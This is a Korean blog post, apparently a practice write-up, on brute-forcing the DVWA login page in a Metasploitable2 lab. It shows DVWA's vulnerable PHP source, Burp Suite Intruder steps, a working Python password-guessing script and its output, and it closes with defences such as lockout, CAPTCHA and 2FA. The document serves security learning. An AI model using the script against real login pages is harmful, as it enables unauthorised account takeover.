웹 해킹 & 보안

[웹 모의해킹] Brute Force 2 - 무차별 대입 공격 실습(Burp Suite & Python)

ahhyun98 2025. 5. 29. 17:05

이번 실습은 DVWA에서 제공하는 Brute Force 취약점을 대상으로 Burp Suite와 Python 스크립트를 활용해 무차별 대입 공격을 수행하였다. 보안 수준medium, high로 설정한 상태에서도 공격이 가능한지를 확인하였다. 


1. 실습 환경

  • 공격자 : Kali Linux
  • Target : Metasploitable2 (DVWA 설치)
  • 도구 : Burp Suite, Python (requests 모듈 사용)
  • DVWA 주소 : http://target_ip/dvwa/vulnerabilities/brute/
  • DVWA 보안 레벨 : medium / high

2. [Step 1] DVWA의 Brute Force 취약점 분석

Target 서버에 접근하여 로그인 로직이 있는 PHP 소스를 확인하였다.

if( isset( $_GET['Login'] ) ) {
    $user = $_GET['username'];
    $user = stripslashes($user);
    $user = mysql_real_escape_string($user);

    $pass = $_GET['password'];
    $pass = stripslashes($pass);
    $pass = mysql_real_escape_string($pass);
    $pass = md5($pass);

    $qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
    $result = mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>');

    if( $result && mysql_num_rows($result) == 1 ) {
        $i=0;
        $avatar = mysql_result($result, $i, "avatar");
        echo "<p>Welcome to the password protected area " . $user . "</p>";
        echo '<img src="' . $avatar . '" />';
    } else {
        sleep(3);  // 로그인 실패 시 시간 지연
        echo "<pre><br>Username and/or password incorrect.</pre>";
    }

    mysql_close();
}

 

=> 로그인 시 비밀번호는 md5() 해시를 통해 확인되며, security=medium, high 설정에서도 기본 로직은 동일하게 작동하였다. 


3. [Step 2] Burp Suite를 활용한 Brute Force 공격

 

▶️ 1단계 : Burp Suite Proxy 설정

 

  • Burp Suite에서 Proxy 탭에서 Intercept를 켠 상태로 브라우저 열고 DVWA 로그인 페이지 접속하기
  • Brute Force 메뉴를 선택한 후, 임의의 ID a, PW b를 입력한다. 
  • 요청을 Intercept 한 후 "Send to Intruder"

▶️ 2단계 : Intruder 설정

 

1) Payload Position 설정하기

  • 비밀번호 자리만 $로 선택하고 Add $
  • 나머지 ID, 기타 파라미터는 Clear $ 처리

2) Payloads 설정하기

  • 공격할 비밀번호 리스트를 설정 (ex. passwords.txt)

3) Payload Setting 설정하기

 

4) 공격 실행

  • 응답 메세지 중 "Username and/or password incorrect."가 없는 응답이 실제 비밀번호로 판단됨.
  • 상태 코드나 응답 길이가 유독 다른 값이 비밀번호일 가능성이 높음. 

4. [Step 3] Python 스크립트를 활용한 Brute Force 공격

이번에는 requests 모듈을 활용해 Python으로 Brute Force 공격을 자동화하였다. 

 

공격 코드

import requests

URL = "http://target_ip/dvwa/vulnerabilities/brute/"
cookies = {'PHPSESSID': 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', 'security': 'high'}
params = {'username': '', 'password': '', 'Login': 'Login'}

with open('/home/kali/Desktop/DVWA/passwords.txt') as f:
    passwords = f.readlines()

passwords = [x.strip() for x in passwords]

for password in passwords:
    params['username'] = 'admin'
    params['password'] = password

    print("Now Trying {}........".format(password))
    response = requests.get(URL, params=params, cookies=cookies)

    if "Username and/or password incorrect." not in response.text:
        print("Success password correct!: {}".format(password))
        break

 

항목 설명
URL 공격 대상 페이지 URL
cookies 세션 유지 및 보안 레벨 설정 쿠키
params 전송할 로그인 파라미터 (GET 방식)
with open 비밀번호 리스트 파일 열기
strip() 개행 제거
for password in passwords: 리스트 순회하며 공격 수행
response.text 실패 메세지 없으면 성공 판단

 

결과 출력

Now Trying password1........
Now Trying 12345678........
Now Trying abc123........
......
Success password correct!:password

 

=> admin의 비밀번호로 password가 성공하였음을 확인하였다. 


5. 마무리

  • Burp Suite의 Intruder를 활용비밀번호 자리만 선택적으로 공격 가능함을 확인하였다. 
  • Python의 requests 모듈을 활용하면, 로그인 로직을 자동화하여 대량의 요청을 시도할 수 있다. 
  • DVWA 보안 레벨이 medium, high라도 기본적인 인증 구조가 취약하면 Brute Force는 여전히 가능하다. 
  • sleep(3)과 같은 시간 지연 기능이 삽입되었지만, 이는 단순한 속도 제한일 뿐 공격을 막지는 못한다. 
  • 실제 서비스에서는 계정 잠금, 캡챠, 2FA 등의 방어 메커니즘이 필수적이라는 것을 느낄 수 있었다. 

 

 

 

이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.

모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.